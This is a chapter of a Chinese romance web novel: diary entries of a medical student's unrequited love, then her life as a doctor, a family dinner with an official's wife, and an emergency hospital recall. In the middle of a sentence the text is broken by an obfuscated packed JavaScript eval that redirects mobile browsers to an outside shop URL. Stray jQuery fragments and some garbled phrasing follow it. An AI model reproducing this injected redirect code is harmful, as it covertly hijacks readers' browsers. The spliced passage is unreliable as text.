“我听见风,来自地铁和人海,我排着队,拿着爱的号码牌。”
——孙燕姿《遇见》
-
2014.09.02晴
医学院新生军训的第一天,宁大的栾树长得真奇怪,在这个季节,竟然同时挂着花、果和叶。
母亲怕我的身体吃不消,很早就找人开好病假条,但我想更快融入集体生活,就拒绝了。
休息间隙,大家会围坐在一起喝水拉歌,前后左右的同学看我年纪小,都挺照顾我的。
话题不知怎么转到了“宁大校草”上,据说今年竞争激烈,航空航天学院和工程物理系口水仗打不可开交,呼声最高的是一个叫贺屹川的。
这个词条在热搜上挂了很久,槿知也看到了,她说这个男生背景像你。
但我知道,那不是你。
……
2014.10.01小雨
国庆节放假了,留海有些长,开始扎眼睛。
母亲今天陪我去复诊,按时吃药,躯体化症状减轻了很多,原来并没有什么“读心术”的异能,只是病被耽误得太久,幻觉而已。
那我喜欢你——邵云旌,也是幻觉吗?
……
2015.01.02暴雪
只剩最后一包中药,医生说,我最大的问题是封闭自己,所以就开始用文字记录生活,奈何文采有限。
日记会留痕,微博太热闹,加密的QQ空间也许中二,对我刚刚好。
未来是要当医生的人,可不能讳疾忌医。
……
2015.06.06晴转多云
热,又是一年高考时。
我们也马上期末考了,这个学期学得最好的还是解剖学。
你呢,大洋彼岸的你现在还好吗?
……
2016.02.07冷空气南下预警
六级高分稳过。
一句“新年快乐”,假装是群发的春节祝福。
结果等了很久,没有收到回复。
……
2016.12.24平安夜,星星很亮
半夜手机突然震动,还以为是舍友或者老师,却看见你无意中在四人群聊里发了张照片,是炫丽的玫红色极光。
槿知和你有来有回地聊天,你说你在芬兰的罗马涅米。
我们之间隔着的,不止一片太平洋,还有一整片绚烂到刺眼的、我永远无法触及的夜空。
今夕,是何年?
……
2017.06.10阴
留了三年多的头发,终于及腰了,澜姨难得来家里做客。
我才发现自己竟然没有一张你的照片……
毕竟,也无关紧要了。
……
2017.08.22晴
大堂哥宋楷言要结婚了,对象是长宁新上任书*记的掌上明珠。
从相亲到婚礼,只见了3次面。
他们“也许没有爱情,但对生意有助益,各方皆大欢喜。”
这是新人的原话,可能谁都会身不由己。
……
2018.01.02零星小雪
槿知又谈恋爱了,和她搭戏的当红顶流男星,轰动整个娱乐圈。
她却给我发消息澄清:【只是逢场作戏,玩玩罢了。】
然后今天学院元旦晚会,惨兮兮的我,又被挂到表白墙上。
……
2018.07.22暴晒,高温红色预警
槿知从电影学院毕业了,陪她拍了美美的毕业照。
晚上,我们一起看了部热血美剧,篮球那么好的你,是不是也玩橄榄球了?
是不是也有……某个Sweetie甜心?
我想我要放下你了。
……
2018.09.03枫叶又红了。
大五新学期,退出参加四年的天文社,因为马上要开始实习了。
桀呈哥顺路来学校给我送东西,我却又借他挡了一回桃花。
再次听见你的名字,原来你要读研了。
……
2019.02.14晚霞漫天像童话
情人节,要登机了。
全额奖学金,去德国海德堡大学交流一年。
我读了很多关于“戒断”的医学论文,也懂得大脑皮层突触可塑性改变的原理,但记忆中的你,永远无与伦比。
……
2020.01.01小雨
槿知放弃跨年晚会的邀约,来德国陪我过节。
去了芬兰,俄罗斯和加拿大,拍了很多极光的照片。
但异国他乡,烟花盛开时,我们嘴里唱着老掉牙的《明天会更好》,眼尾沁出薄泪。
……
2021.06.06阴转多云
出门遇到交通管制,才发现是高考第一天。
规培轮转后,每天都忙疯了。
师兄新换的手机铃声,竟然是《十年》,科室掀起一波怀旧潮,学业与事业,友情与爱情,但我只在乎当下。
……
2022.07.10晴
【一张合照】
宁大的栾树又红了一茬,学海无涯苦作舟,长征8年终于毕业啦~
只是没想到桀呈哥也被催婚了。
……
-
要不是科室新进的小师弟要给她传视频资料,说WeChat压缩画质,宋棠絮还想不起快被她卸载两年多的QQ。
每天值不完的夜班,写不完的病历,日子忙碌又充实,她已经很久没出现抑郁和焦虑情绪了。
资料刚传完,手机忽然一条弹屏,是QQ里的“去年今日”——10年前的1月2日.深夜。
【我好像被困在有你的回忆里,再也走不出去了。】
宋棠絮有片刻恍惚,却无动于衷地按灭手机。
窗外的光斜斜照进来,落在她清冷温婉的侧脸上,只有一种历经漫长雨季后,终于放晴的从容释然。
中午,宋槿知的奔驰保姆车绕了20公里的路,特意来陪她吃食堂。
看着她和黑粉激情开麦的模样,宋棠絮笑着问:“这个弟弟不是挺帅吗?和他在一起,不开心?”
“被我发现他私下撩粉,昨天就掰了,”宋槿知放下手机,和她吐槽:“反正我又新加了一个小鲜肉微信,叫卢卡斯,中意混血……”
在宋棠絮的恶补和全家人的努力下,宋槿知踩线被电影学院录取,凭美貌暴击成为当年“最美艺考生”。
读书时,就开始进入娱乐圈拍戏,从镶边的女三女四,一路演到S+仙侠大女主。
她这些年的感情生活,也丰富多彩。
宋棠絮记得,开学第一天她就发来一张男生照片,是跟她同年入学的艺考状元,叫林思源,盘条正顺,眉眼英气。
宋槿知和她煲电话粥时,语气里难掩兴奋:“是不是长得很帅呀?我打算追他!”
宋棠絮疑惑:“他对你有想法吗?”
宋槿知却不在乎:“人可高冷了,爱答不理的,不过一天不行,就追一个月,一个月不行,就追一年,反正我有的是钱和时间。”
就这样砸钱又砸资源,没多久那男生就束手就擒了,原本以为新恋情会帮助她走出情伤脱胎换骨,但热度维持不到100天。
之后林思源三番两次到教室纠缠,闹到校长办公室,最后还是宋家出面摆平,据说给了不少大班底电影的角色。
宋槿知很费解:“都说分手了,他为什么还不死心?”
宋棠絮:“那你当初为什么喜欢他?”
宋槿知理直气壮:“因为他长得帅,我才决定追他的,可是他竟然一声招呼都不打,就去隆鼻了,他现在的鼻子丑死了……”
哦,原来今朝有酒今朝醉,爱情不需要郑重其事,喜欢也不一定天长地久。
后来,宋槿知又谈过很多段恋爱,每段都很认真,每段也都很草率。
“絮宝,你说他们为什么上来就想跟你肢体接触,接吻伸舌头,再搂腰往床上带?他们为什么就不能好好跟我说说话?”
这些交往对象,无论是圈里搭戏合作的演员,还是初出茅庐的高校才子,亦或是亲戚介绍的商界精英。
最长不超过半年,最短也就三天。
宋槿知不是在热恋,就是在分手的路上,家里宠她,只要不受伤不被骗,大多睁一只眼闭一只眼,而且她很聪明,别人能不能得到,从来只有她愿不愿意给。
她现在是00后流量花种的翘楚,背景、资源、演技、作品和流量,样样都不缺。
一大批跟随她出道的死忠粉粘性自是大,圈内新晋鲜肉的粉丝,却对她又爱又恨,爱能跟宋槿知合作都是好导演好班底,恨她海王会钓人,自家哥哥难逃远洋捕捞。
许多人年轻时的豪言壮语都变成虚妄,最后一边强撑着,开出几朵无关痛痒的黄花,一边结着名为“现实”的苦果。
但姐妹俩却在家族的保驾护航下,沿着十五岁时的心愿轨迹,肆意且无虑地成长。
宋槿知成了最炙手可热的影视明星,享受千万人的追捧和掌声,等着她过目的好剧本能打扑克,还趋之若鹜。
黑粉嘲讽她时,第一条就骂资源咖,但谁不羡慕她出生的起点,就是别人奋斗一生都达不到的终点呢?
宋棠絮在砚中只上了一学期的课,便入学宁大医学院。
临床医学本博八年毕业加赴德交流1年后,她留职省立医院,从住院医一路晋升主治。
宋棠絮现在在省立与宁大医学院联合成立的重点实验室任职,兼顾临床和科研,日常就是创面修复、激光和手术,每周只有两天下病房,也不需要出门诊。
宋怀谦和向澜夫妻俩的爱和包容,圆融了她的棱角和不安,她现在拥有最恩爱开明的父母,最有荣誉感和使命感的职业,最融洽团聚的师长和同门。
她偶尔还会跟导师出差,不是出席研讨会和医学高峰论坛,就是合作揭幕仪式,一个月得三四次。
医生培养周期长,经费和收入更是杯水车薪,但宋家有家族基金,父母也是全力托举。
准确说被收养后,她对钱已经没概念了,因为衣食住行全都被人有人包办,她永远都数不清账户上的余额。
宋棠絮现在还跟父母一起住,一家人在向澜退休后搬进东山墅别墅,位于宁江内侧,风景秀丽。
她只有值二线班的时候,才会独居医院附近的平层公寓,宋槿知一部戏要拍三四个月,姐妹俩见面时会约在这儿,交通便利,安保严密。
宋槿知因为怕偷拍,在食堂室内还得戴着棒球帽。
棠絮笑她多跑一趟,明明晚上要一起在老宅吃团圆饭,宋家这规矩多年雷打不动。
“小没良心的,”宋槿知溺笑着刮她鼻梁:“人家和你不是三月未见,甚是想念嘛?”
“咦,以前不都是1号,怎么忽然改了日子?”
宋槿知解释道:“这不是我爸新得了两盆建兰君荷,有价无市的,邵叔叔和蕴姨难得有空来家里做客。”
她想了想:“这样啊,但是下午科里还有事,我得晚到一会。”
“没关系,反正蕴姨最喜欢你了,只是素婶最拿手的白玉茯苓糕就要全进我肚子了。”
“好,都给你。”宋棠絮很大方。
“切~你坏死了,人家还得保持身材穿高定呢,”宋槿知揉了揉她的发顶,起身和她说再见。
“嗯,晚上见。”
-
下午,科里的每个人都光鲜亮丽,连最德高望重的梁教授,都罕见地穿起了西装。
梁教授是她导师,半步迈进院士行列,更荣登2025年度科学影响力榜单,但这样的大佬在面临“金主”时,也不能掉以轻心。
毕竟能舍得砸10亿新盖医学中心,还是屈指可数的。
前两天启动仪式时,政府高官和各方领导都纷至沓来,现场可谓人山人海,但金主却因诸事缠身,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615046|204675||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
到今日才回国莅临。
自从去年师母过世后,梁教授衣着打扮上,就不那么细致了。
宋棠絮心细,给老人家系好温莎结后,就请假早退了。
她不习惯这种交际场合,回碧梧小居至少得一个小时车程,加上她刚刚代表烧伤整形外科,报名了医院应急救援医疗队,是科里的“小功臣”。
明明上午还是艳阳高照的天,才刚三点,就阴得可怕。
天空是一种浑浊的铅灰色,冷风往脖缝里钻,看天气预报好像要下小雪。
宋棠絮是走侧门离开的,医学中心外已铺好了红地毯,金主的迈巴赫s400车队,像一条匍匐的非洲黑曼巴。
到老宅时,小雨比雪先一步落下,而长辈们已经在藕香榭旁的花厅喝茶了。
向澜心疼女儿淋了雨,而温蕴也主动起身打招呼:“棠絮,外面温度这么低,别着凉了。”
“大伯好,蕴姨好,邵……叔叔好。”
这么多年,宋棠絮现生第一次见到邵守拙,这位位高权重的大人物,以往只出现在新闻联播里。
向澜说:“先去换身衣裳,再来喝杯热茶去去寒。”
她点头,转头往后院去了。
不多时就换了身新中式的素呢子撘改良马面裙,衬得她肤色白净,疏淡的眉眼,秀挺的鼻梁,像是江南烟雨的清丽婉约。
云深阁的晚餐已经布好,十二冷十二热外加各色精致点心,宋执钧坐正中,邵守拙坐主宾,众人以此落座。
“来,挨着阿姨坐。”
温蕴拉着宋棠絮的手入席,她左边是宋槿知,再左边则是母亲向澜。
她每次来宋家做客,管家总是大包小包的礼物,姐妹俩不偏不倚,一人一份,这次更是每人送了件正阳绿辣色的平安扣。
宋棠絮安静地吃菜,偶尔和堂姐说悄悄话,席上温蕴的目光却总在两人之间逡巡,比平时见面更热切欢喜,满心满眼止不住的中意,问完堂姐又接着问她。
“棠絮,平时工作累吗?”
“还好,已经习惯了。”
她回答落落大方,这些年在宋家耳濡目染,已经不似儿时落落寡合,而父辈们闲聊的话题,总绕不开民生经济和发展,宋棠絮虽然听得懂,平时却不关注。
夜幕渐渐降临,华灯高挂,小雪飞扬,桌架上的两盆君荷,不愧是亚洲第一荷,唇瓣鲜艳,花苞滚圆。
而席间,笑言轻语,宾主尽欢。
晚餐后消食解腻小世界你,茶则换成熟普洱。
向澜、温蕴和姐妹俩聊得越发尽兴,都是有为女性,聊得最多还是事业和工作。
间歇,宋棠絮帮科内几个小朋友跟堂姐要签名,还得是什么to签,温蕴则到窗边接电话。
她看着眼前其乐融融,母亲眼尾纹却更深了些,心头被柔软的暖意填得满满当当。
“是不是又瘦了?妈妈从明天得监督你好好吃饭。”
“没有,您煲的汤我每次都喝光的……”
家人安康,安稳顺遂,现在就挺好。
突然,口袋里的手机震了三震。
宋棠絮陪家人时,都会把手机调成静音,除非是有十万火急的事,比如现在。
【紧急召回通知】
各位同事:
高新区工业园突发严重爆炸事故,现场情况危急,伤亡人数暂无法统计。
现启动最高级别应急响应,请所有目前在市区内的医生(含休假、轮休人员)立即取消休假,务必于30分钟内返回医院待命,准备接收批量伤员。
请相互转告,收到请回复。
——医务科/急诊科
……
旁边蕴姨的声音关心慈爱:“你赶不过来了?那改天吧,反正以后多得是机会,你应酬时少喝酒,我发出去的照片你看看……”
宋棠絮看邵叔叔一脸严肃,似乎比她更早得到消息,已经马不停蹄地部署工作了。
向澜看着女儿脸色一变,问:“有什么要紧事吗?”
“母亲,我可能得回趟医院。”他们科连80岁的老泰斗,都出山坐镇指挥了。
“可是……外面还在下雪,路上都结冰了吧。”向澜难掩担心。
出这么大事,温蕴就知道这茶丈夫喝不下去了,肯定要连夜赶回去,夫妻俩一商量
拍板道:“要不棠絮就跟我们回去吧,直升机比开夜路更快。”
宋家老宅是做了停机坪改造的,直升机起落架缓缓落下,巨大的旋翼搅动着冬夜的寒风,卷起旁边上尚未积起的薄雪。
“棠絮,”温蕴握住她微凉的指尖,提醒道:“风大,小心些。”
机舱里,邵守拙电话不断。
温蕴的声音在黑夜中格外柔和:“阿姨很喜欢你之前绣的荷包,我那儿有件旧旗袍,是我妈妈的陪嫁,可惜保存不善,破了几个洞,我看你针脚细密,心思巧,不知能不能帮我修补一二?”
她话里说的客气,姿态放得极低:“改天,阿姨请你来大院里吃顿便饭。我跟你一样,也是南方长大的,我最拿手的腌笃鲜,你肯定也爱吃。”
望着那张保养得宜的脸,尤其是那双含笑的眼眸,和记忆中某道模糊的身影重叠在一起。
宋棠絮不忍拒绝,便轻声应下:“好,那我试试。”
小时无辜锐利的狗狗眼,成年后越发自然圆润,睫毛轻轻颤动时,眼眸闪动好似落雪消融前的最后一点晶莹。
宋棠絮赶到医院时,已经将近9点。
门诊楼连带几个住院部都灯火通明,救护车进进出出,一辆接着一辆。
她还是按原路,从侧门回去换白大褂,却忽然发现金主的车队,依旧停在遒劲的法国梧桐树下,满是生人勿近的压迫感。
以前碰到同款车型时,她总忍不住驻足,最后又总会沉默落眼。
这次她行色匆匆,却没发现最中间那辆黑色迈巴赫s400后车窗缓缓降下。
暮色沉沉,有一人骨相优越的剪影藏在暗光里,冷冽矜贵,浑然天成。